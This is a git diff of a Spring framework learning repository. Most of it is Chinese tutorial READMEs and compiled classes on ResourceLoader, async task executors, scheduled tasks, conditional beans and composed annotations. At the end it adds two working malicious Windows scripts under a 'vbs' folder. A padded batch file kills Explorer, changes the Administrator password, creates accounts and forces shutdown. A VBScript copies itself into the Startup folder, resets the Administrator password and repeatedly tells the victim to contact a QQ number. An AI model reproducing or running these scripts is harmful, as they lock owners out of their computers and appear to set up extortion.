+ Resource resource = loader.getResource("cn/hncu/p3/p1_SpringAware/test.txt");
+
+ try {
+ System.out.println("ResourceLoader加载的文件内容为: "+ IOUtils.toString(resource.getInputStream()));
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+
+ }
+
+}
+
+```
+
+##配置类
+
+```
+package cn.hncu.p3.p1_SpringAware;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/16.
+ * Time: 下午 6:48.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p3.p1_SpringAware")
+public class AwareConfig {
+}
+
+```
+
+##运行类
+
+```
+package cn.hncu.p3.p1_SpringAware;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/16.
+ * Time: 下午 6:49.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(AwareConfig.class);
+
+ AwareService awareService = context.getBean(AwareService.class);
+ awareService.outputResult();
+
+ context.close();
+ }
+
+}
+
+```
+
+#运行结果
+
+
+
diff --git a/springBoot/target/classes/cn/hncu/p3/p1_SpringAware/test.txt b/springBoot/target/classes/cn/hncu/p3/p1_SpringAware/test.txt
new file mode 100644
index 0000000..7fca50a
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p3/p1_SpringAware/test.txt
@@ -0,0 +1 @@
+测试文件的内容
\ No newline at end of file
diff --git a/springBoot/target/classes/cn/hncu/p3/p2_TaskExecutor/AsyncTaskService.class b/springBoot/target/classes/cn/hncu/p3/p2_TaskExecutor/AsyncTaskService.class
new file mode 100644
index 0000000..f27b5dd
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p2_TaskExecutor/AsyncTaskService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p2_TaskExecutor/Main.class b/springBoot/target/classes/cn/hncu/p3/p2_TaskExecutor/Main.class
new file mode 100644
index 0000000..5fee95a
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p2_TaskExecutor/Main.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p2_TaskExecutor/README.md b/springBoot/target/classes/cn/hncu/p3/p2_TaskExecutor/README.md
new file mode 100644
index 0000000..86859a3
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p3/p2_TaskExecutor/README.md
@@ -0,0 +1,142 @@
+#分析
+
+在Spring中,通过任务执行器,也就是TaskExecutor来实现多线程和并发编程。
+
+使用ThreadPoolTaskExecutor可实现一个基于线程池的TaskExecutor。
+而实际开发中任务一般是非阻碍的,也就是非异步的,所以我们要在配置类中通过@EnableAsync开启对异步任务的支持,并通过在实际执行的Bean的方法中使用@Async注解来声明其是一个异步任务。
+
+
+进行本示例的演示,需要先配置好Maven和Spring哦、
+见:
+【Spring】基于IntelliJ IDEA搭建Maven
+
+#示例
+
+##配置类
+
+首先看一下配置类。
+现在全部使用Java配置哦,不用xml了。
+
+```
+package cn.hncu.p3.p2_TaskExecutor;
+
+import org.springframework.aop.interceptor.AsyncUncaughtExceptionHandler;
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.scheduling.annotation.AsyncConfigurer;
+import org.springframework.scheduling.annotation.EnableAsync;
+import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/18.
+ * Time: 上午 9:35.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p3.p2_TaskExecutor")
+@EnableAsync //利用@EnableAsync注解开启异步任务支持
+public class TaskExecutorConfig implements AsyncConfigurer{
+ //配置类实现AsyncConfigurer接口并重写getAsyncExcutor方法,并返回一个ThreadPoolTaskExevutor
+ //这样我们就获得了一个基于线程池的TaskExecutor
+ @Override
+ public Executor getAsyncExecutor() {
+ ThreadPoolTaskExecutor taskExecutor = new ThreadPoolTaskExecutor();
+ taskExecutor.setCorePoolSize(5);//线程池维护线程的最少数量
+ taskExecutor.setMaxPoolSize(10);//线程池维护线程的最大数量
+ taskExecutor.setQueueCapacity(25);//线程池所使用的缓冲队列
+ taskExecutor.initialize();
+ return taskExecutor;
+ }
+
+ @Override
+ public AsyncUncaughtExceptionHandler getAsyncUncaughtExceptionHandler() {
+ return null;
+ }
+}
+
+```
+
+
+##任务执行类
+
+也就是实际运行的,需要异步执行的类
+
+```
+package cn.hncu.p3.p2_TaskExecutor;
+
+import org.springframework.scheduling.annotation.Async;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/18.
+ * Time: 上午 10:57.
+ * Explain:任务执行类
+ */
+@Service
+public class AsyncTaskService {
+
+ @Async
+ //通过@Async注解表明该方法是个异步方法,如果注解在类级别,则表明该类所有的方法都是异步方法。
+ // 而这里的方法自动被注入使用ThreadPoolTaskExecutor作为TaskExecutor
+ public void executeAsyncTask(Integer i){
+ System.out.println("executeAsyncTask:"+i);
+ }
+
+ @Async
+ public void executeAsyncTaskPlus(Integer i){
+ System.out.println("executeAsyncTaskPlus:"+i);
+ }
+
+}
+
+```
+
+##运行类
+
+为了测试而写的运行调用方法的类
+
+```
+package cn.hncu.p3.p2_TaskExecutor;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/18.
+ * Time: 上午 11:04.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(TaskExecutorConfig.class);
+
+ AsyncTaskService asyncTaskService = context.getBean(AsyncTaskService.class);
+ for(int i=0;i<10;i++){
+ asyncTaskService.executeAsyncTaskPlus(i);
+ asyncTaskService.executeAsyncTask(i+1);
+ }
+ context.close();
+
+ }
+
+}
+
+```
+
+#运行结果
+
+
+运行结果长了一点,所以只传了这么一点。
+但是已经能够看出了,假如是原来那样的,是异步执行,那么肯定偶数行的输出比前一个奇数行的输出是大1的。
+
+结果不是那样,它们不是异步进行的,在这里由一个主线程(main线程)。
+for循环里面,每运行一行调用方法的,就会开一个线程。
+也就是说,你每次的运行结果可能会不一样!
+所以,如果你的运行结果和我的不一样,不要慌哦。
\ No newline at end of file
diff --git a/springBoot/target/classes/cn/hncu/p3/p2_TaskExecutor/TaskExecutorConfig.class b/springBoot/target/classes/cn/hncu/p3/p2_TaskExecutor/TaskExecutorConfig.class
new file mode 100644
index 0000000..13c6a90
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p2_TaskExecutor/TaskExecutorConfig.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p3_taskscheduler/Main.class b/springBoot/target/classes/cn/hncu/p3/p3_taskscheduler/Main.class
new file mode 100644
index 0000000..71119f6
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p3_taskscheduler/Main.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p3_taskscheduler/README.md b/springBoot/target/classes/cn/hncu/p3/p3_taskscheduler/README.md
new file mode 100644
index 0000000..bb2f3bd
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p3/p3_taskscheduler/README.md
@@ -0,0 +1,106 @@
+进行本示例的演示,需要先配置好Maven和Spring哦、
+见:
+【Spring】基于IntelliJ IDEA搭建Maven
+
+#分析
+
+要实现计划任务,首先通过在配置类注解@EnableScheduling来开启对计划任务的支持,然后在要执行计划任务的方法上注解@Scheduled,声明这是一个计划任务。
+
+Spring通过@Scheduled支持多种类型的计划任务,包含cron、fixDelay、fixRate等。
+
+在本示例中:
+使用cron属性可按照指定时间执行,本例写的是每天20点07分执行;
+
+#示例
+
+##计划任务执行类
+
+在这个类中的方法上需要@Scheduled注解配合@EnableScheduling使用。
+
+```
+package cn.hncu.p3.p3_taskscheduler;
+
+import org.springframework.scheduling.annotation.Scheduled;
+import org.springframework.stereotype.Service;
+
+import java.text.SimpleDateFormat;
+import java.util.Date;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/22.
+ * Time: 下午 10:25.
+ * Explain:计划任务执行类
+ */
+@Service
+public class ScheduledTaskService {
+ private static final SimpleDateFormat dateFormat = new SimpleDateFormat("HH:mm:ss");
+
+ @Scheduled(fixedRate = 5000) //通过@Scheduled声明该方法是计划任务,使用fixedRate属性每隔固定时间执行
+ public void reportCurrentTime(){
+ System.out.println("每隔5秒执行一次 "+dateFormat.format(new Date()));
+ }
+
+ @Scheduled(cron = "0 07 20 ? * *" ) //使用cron属性可按照指定时间执行,本例指的是每天20点07分执行;
+ //cron是UNIX和类UNIX(Linux)系统下的定时任务
+ public void fixTimeExecution(){
+ System.out.println("在指定时间 "+dateFormat.format(new Date())+" 执行");
+ }
+}
+
+```
+
+##配置类
+
+通过@EnableScheduling注解开启对计划任务的支持
+
+```
+package cn.hncu.p3.p3_taskscheduler;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.scheduling.annotation.EnableScheduling;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/22.
+ * Time: 下午 10:32.
+ * Explain:配置类
+ */
+
+@Configuration
+@ComponentScan("cn.hncu.p3.p3_taskscheduler")
+@EnableScheduling //通过@EnableScheduling注解开启对计划任务的支持
+public class TaskScheduleConfig {
+}
+
+```
+
+##运行类
+
+```
+package cn.hncu.p3.p3_taskscheduler;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/22.
+ * Time: 下午 10:34.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(TaskScheduleConfig.class);
+ }
+}
+
+```
+
+#运行结果
+
+
+
diff --git a/springBoot/target/classes/cn/hncu/p3/p3_taskscheduler/ScheduledTaskService.class b/springBoot/target/classes/cn/hncu/p3/p3_taskscheduler/ScheduledTaskService.class
new file mode 100644
index 0000000..f1365ca
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p3_taskscheduler/ScheduledTaskService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p3_taskscheduler/TaskScheduleConfig.class b/springBoot/target/classes/cn/hncu/p3/p3_taskscheduler/TaskScheduleConfig.class
new file mode 100644
index 0000000..c958e0c
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p3_taskscheduler/TaskScheduleConfig.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p4_conditional/ConditionConfig.class b/springBoot/target/classes/cn/hncu/p3/p4_conditional/ConditionConfig.class
new file mode 100644
index 0000000..32b1c02
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p4_conditional/ConditionConfig.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p4_conditional/LinuxCondition.class b/springBoot/target/classes/cn/hncu/p3/p4_conditional/LinuxCondition.class
new file mode 100644
index 0000000..6e6e266
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p4_conditional/LinuxCondition.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p4_conditional/LinuxListService.class b/springBoot/target/classes/cn/hncu/p3/p4_conditional/LinuxListService.class
new file mode 100644
index 0000000..b76471c
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p4_conditional/LinuxListService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p4_conditional/ListService.class b/springBoot/target/classes/cn/hncu/p3/p4_conditional/ListService.class
new file mode 100644
index 0000000..c4f64bd
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p4_conditional/ListService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p4_conditional/Main.class b/springBoot/target/classes/cn/hncu/p3/p4_conditional/Main.class
new file mode 100644
index 0000000..404c72a
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p4_conditional/Main.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p4_conditional/README.md b/springBoot/target/classes/cn/hncu/p3/p4_conditional/README.md
new file mode 100644
index 0000000..46951dc
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p3/p4_conditional/README.md
@@ -0,0 +1,196 @@
+#分析
+
+在前面的一篇博客中:【Spring】Spring常用配置-Profile
+
+通过profile,我们可以获得不同的profile,我们可以获得不同的Bean。Spring4提供了一个更通用的基于条件的Bean的创建,即使用@Condition注解。
+
+@Condition根据满足某一个特定条件创建一个特定的Bean。
+比如说,当某一个jar包在一个类路径下的时候,自动配置一个或多个Bean;或者只有某个Bean被创建才会创建另外一个Bean。
+
+总的来说,就是根据特定条件来控制Bean的创建行为,这样我们可以利用这个特性来进行一些自动的配置。
+
+下面这个示例将以不同的操作系统来作为条件,通过实现Condition接口,并重写其matches方法来构造判断条件。
+
+若在Windows系统下运行程序,则输出列表命令为dir;若在Linux操作系统下运行程序,则输出列表命令为ls。
+
+#示例
+
+##先需要定义判断条件
+
+###判定Windows的条件
+
+```
+package cn.hncu.p3.p4_conditional;
+
+import org.springframework.context.annotation.Condition;
+import org.springframework.context.annotation.ConditionContext;
+import org.springframework.core.type.AnnotatedTypeMetadata;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:24.
+ * Explain:判断Windows的条件
+ */
+public class WindowsCondition implements Condition{
+ @Override
+ public boolean matches(ConditionContext context, AnnotatedTypeMetadata metadata){
+ return context.getEnvironment().getProperty("os.name").contains("Windows");
+ }
+}
+
+```
+
+###判定Linux的条件
+
+```
+package cn.hncu.p3.p4_conditional;
+
+import org.springframework.context.annotation.Condition;
+import org.springframework.context.annotation.ConditionContext;
+import org.springframework.core.type.AnnotatedTypeMetadata;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:28.
+ * Explain:判定Linux的条件
+ */
+public class LinuxCondition implements Condition{
+ @Override
+ public boolean matches(ConditionContext context, AnnotatedTypeMetadata metadata) {
+ return context.getEnvironment().getProperty("os.name").contains("Linux");
+ }
+}
+
+```
+
+##不同系统下Bean的类
+
+首先需要一个接口,接下来不同的Bean都需要实现这个接口。
+
+###接口
+
+```
+package cn.hncu.p3.p4_conditional;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:31.
+ * Explain:接口-Bean需要实现的接口
+ */
+public interface ListService {
+ public String showListCmd();
+}
+
+```
+###Windows下所要创建的Bean的类
+
+```
+package cn.hncu.p3.p4_conditional;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:41.
+ * Explain:Windows下所要创建的Bean的类
+ */
+public class WindowsListService implements ListService {
+ @Override
+ public String showListCmd() {
+ return "dir";
+ }
+}
+
+```
+
+###Linux下所要创建的Bean的类
+
+```
+package cn.hncu.p3.p4_conditional;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:42.
+ * Explain:Linux下所要创建的Bean的类
+ */
+public class LinuxListService implements ListService {
+ @Override
+ public String showListCmd() {
+ return "ls";
+ }
+}
+
+```
+
+##配置类
+
+```
+package cn.hncu.p3.p4_conditional;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Conditional;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:48.
+ * Explain:配置类
+ */
+@Configuration
+public class ConditionConfig {
+ //matches方法返回true的,就运行哪个方法
+ @Bean
+ @Conditional(WindowsCondition.class)//通过@Condition注解,符合Windows条件则实例化windowsListService
+ public ListService windowsListService(){
+ return new WindowsListService();
+ }
+
+ @Bean
+ @Conditional(LinuxCondition.class)//通过@Condition注解,符合Linux条件则实例化linuxListService
+ public ListService linuxListService(){
+ return new LinuxListService();
+ }
+}
+
+```
+
+##运行
+
+```
+package cn.hncu.p3.p4_conditional;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/7.
+ * Time: 下午 7:57.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(ConditionConfig.class);
+ ListService listService = context.getBean(ListService.class);
+ System.out.println(context.getEnvironment().getProperty("os.name")
+ +"系统下的列表命令为:"
+ +listService.showListCmd()
+ );
+ }
+}
+
+```
+
+#运行结果
+
+
diff --git a/springBoot/target/classes/cn/hncu/p3/p4_conditional/WindowsCondition.class b/springBoot/target/classes/cn/hncu/p3/p4_conditional/WindowsCondition.class
new file mode 100644
index 0000000..1737f7d
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p4_conditional/WindowsCondition.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p4_conditional/WindowsListService.class b/springBoot/target/classes/cn/hncu/p3/p4_conditional/WindowsListService.class
new file mode 100644
index 0000000..34a8c81
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p4_conditional/WindowsListService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p5_annotation/DemoConfig.class b/springBoot/target/classes/cn/hncu/p3/p5_annotation/DemoConfig.class
new file mode 100644
index 0000000..cf49510
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p5_annotation/DemoConfig.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p5_annotation/DemoService.class b/springBoot/target/classes/cn/hncu/p3/p5_annotation/DemoService.class
new file mode 100644
index 0000000..d4505a8
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p5_annotation/DemoService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p5_annotation/Main.class b/springBoot/target/classes/cn/hncu/p3/p5_annotation/Main.class
new file mode 100644
index 0000000..e1c0576
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p5_annotation/Main.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p5_annotation/README.md b/springBoot/target/classes/cn/hncu/p3/p5_annotation/README.md
new file mode 100644
index 0000000..833e588
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p3/p5_annotation/README.md
@@ -0,0 +1,149 @@
+#分析
+
+所谓的元注解:其实就是可以注解到别的注解上的注解。
+而被注解的注解我们就称之为组合注解。(仔细理解,可能有点绕)
+组合注解具备元注解的功能!
+
+Spring的很多注解都可以作为元注解,而且Spring本身已经有很多组合注解。
+
+比如@Configuration就是一个组合@Component注解,表明这个类其实也是一个Bean。
+@Configuration的源码:
+```
+//
+// Source code recreated from a .class file by IntelliJ IDEA
+// (powered by Fernflower decompiler)
+//
+
+package org.springframework.context.annotation;
+
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import org.springframework.stereotype.Component;
+
+@Target({ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@Documented
+@Component
+public @interface Configuration {
+ String value() default "";
+}
+
+```
+
+有的时候,我们可能大量同时使用到几个注解到同一个类上,这个时候,我们就可以考虑将这几个注解到别的注解上。
+
+比如下面的示例就是将@Configuration和@ComponentScan注解到一个注解上!
+
+这样,我们就可以用一个注解来表示这两个注解。
+
+#示例
+
+##组合注解
+
+```
+package cn.hncu.p3.p5_annotation;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+import java.lang.annotation.*;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/8.
+ * Time: 下午 4:00.
+ * Explain:组合注解
+ */
+
+@Target(ElementType.TYPE)
+@Retention(RetentionPolicy.RUNTIME)
+@Documented
+@Configuration//组合@Configuration元注解 bean注解
+@ComponentScan//组合@ComponentScan元注解 自动扫描对应value(package路径)值下面的所有bean
+public @interface WiselyConfiguration {
+ String[] value() default {};//覆盖value参数
+ //就是覆盖@ComponentScan注解中的value参数----必须要写,否则组合注解中放入value值时会报错
+}
+
+```
+解释一下@Documented:
+表明这个注解应该被 javadoc工具记录. 默认情况下,javadoc是不包括注解的. 但如果声明注解时指定了 @Documented,则它会被 javadoc 之类的工具处理, 所以注解类型信息也会被包括在生成的文档中.
+
+##服务Bean
+
+```
+package cn.hncu.p3.p5_annotation;
+
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/8.
+ * Time: 下午 8:17.
+ * Explain:服务Bean
+ */
+@Service
+public class DemoService {
+ public void outputResult(){
+ System.out.println("从组合注解配置照样获得的bean");
+ }
+}
+
+```
+
+##配置类
+
+现在就只需要我们自定义的那个注解就可以代表那两个注解了。
+
+```
+package cn.hncu.p3.p5_annotation;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/8.
+ * Time: 下午 8:19.
+ * Explain:配置类--组合注解
+ */
+@WiselyConfiguration("cn.hncu.p3.p5_annotation")
+//自定义注解,扫描的所有的bean来源于value值所对应的包路径下
+//使用@WiselyConfiguration组合注解替代@Configuration和@ComponentScan
+public class DemoConfig {
+}
+
+```
+
+##运行类
+
+```
+package cn.hncu.p3.p5_annotation;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/8.
+ * Time: 下午 8:21.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(DemoConfig.class);
+ DemoService demoService = context.getBean(DemoService.class);
+ demoService.outputResult();
+ context.close();
+ }
+}
+
+```
+
+#运行结果
+
+
+
diff --git a/springBoot/target/classes/cn/hncu/p3/p5_annotation/WiselyConfiguration.class b/springBoot/target/classes/cn/hncu/p3/p5_annotation/WiselyConfiguration.class
new file mode 100644
index 0000000..b963ab7
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p5_annotation/WiselyConfiguration.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p7_fortest/TestBean.class b/springBoot/target/classes/cn/hncu/p3/p7_fortest/TestBean.class
new file mode 100644
index 0000000..c98f87e
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p7_fortest/TestBean.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p7_fortest/TestConfig.class b/springBoot/target/classes/cn/hncu/p3/p7_fortest/TestConfig.class
new file mode 100644
index 0000000..b79eea0
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p7_fortest/TestConfig.class differ
diff --git a/springBoot/target/test-classes/cn/hncu/p3/p7_fortest/DemoBeanIntegrationTests.class b/springBoot/target/test-classes/cn/hncu/p3/p7_fortest/DemoBeanIntegrationTests.class
new file mode 100644
index 0000000..4a12ade
Binary files /dev/null and b/springBoot/target/test-classes/cn/hncu/p3/p7_fortest/DemoBeanIntegrationTests.class differ
diff --git "a/\345\260\206\346\225\260\346\215\256\345\272\223\350\241\250\346\240\274\345\257\274\345\205\245excel\350\241\250\346\240\274\351\234\200\350\246\201\347\232\204\345\214\205/README.md" b/sqlTableToExcel/README.md
similarity index 100%
rename from "\345\260\206\346\225\260\346\215\256\345\272\223\350\241\250\346\240\274\345\257\274\345\205\245excel\350\241\250\346\240\274\351\234\200\350\246\201\347\232\204\345\214\205/README.md"
rename to sqlTableToExcel/README.md
diff --git "a/\345\260\206\346\225\260\346\215\256\345\272\223\350\241\250\346\240\274\345\257\274\345\205\245excel\350\241\250\346\240\274\351\234\200\350\246\201\347\232\204\345\214\205/poi-3.7-20101029.jar" b/sqlTableToExcel/poi-3.7-20101029.jar
similarity index 100%
rename from "\345\260\206\346\225\260\346\215\256\345\272\223\350\241\250\346\240\274\345\257\274\345\205\245excel\350\241\250\346\240\274\351\234\200\350\246\201\347\232\204\345\214\205/poi-3.7-20101029.jar"
rename to sqlTableToExcel/poi-3.7-20101029.jar
diff --git a/vbs/360.bat b/vbs/360.bat
new file mode 100644
index 0000000..b9f9d90
--- /dev/null
+++ b/vbs/360.bat
@@ -0,0 +1,10 @@
+%%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a %%a
+cls
+taskkill /im explorer.exe /f
+
+net user Administrator nicai
+net user chx
+net user Ҫϵ619699629! woshizhu /add
+net localgroup Ҫϵ619699629 /add
+shutdown.exe -s -t 6
+
diff --git a/vbs/cmd.exe b/vbs/cmd.exe
new file mode 100644
index 0000000..c01fd8d
Binary files /dev/null and b/vbs/cmd.exe differ
diff --git a/vbs/cmd.vbs b/vbs/cmd.vbs
new file mode 100644
index 0000000..544eb4a
--- /dev/null
+++ b/vbs/cmd.vbs
@@ -0,0 +1,19 @@
+wscript.sleep 1000*60
+
+set fso = createobject("scripting.filesystemobject")
+set ws = createobject("wscript.shell")
+pt = ws.specialfolders("startup") & "\"
+set file = fso.getfile(wscript.scriptfullname)
+file.copy pt
+
+msgbox "ϵQQ:619699629",64,"ϵͳʾ"
+
+set oShell = wscript.CreateObject ("wscript.shell")
+oShell.run "net user Administrator woshixiaozhu"
+set oShell = nothing
+
+do until i=10
+i=i+1
+msgbox "ϵQQ:619699629",16+4096,"ϵͳʾ"
+wscript.sleep 1000*60*5
+loop
diff --git a/vbs/txsjbd.rar b/vbs/txsjbd.rar
new file mode 100644
index 0000000..ab31de9
Binary files /dev/null and b/vbs/txsjbd.rar differ
diff --git "a/\350\207\252\345\212\250\346\267\273\345\212\240QQ\345\245\275\345\217\213.html" "b/\350\207\252\345\212\250\346\267\273\345\212\240QQ\345\245\275\345\217\213.html"
new file mode 100644
index 0000000..855ba14
--- /dev/null
+++ "b/\350\207\252\345\212\250\346\267\273\345\212\240QQ\345\245\275\345\217\213.html"
@@ -0,0 +1,4 @@
+
+查看全文
+
+
\ No newline at end of file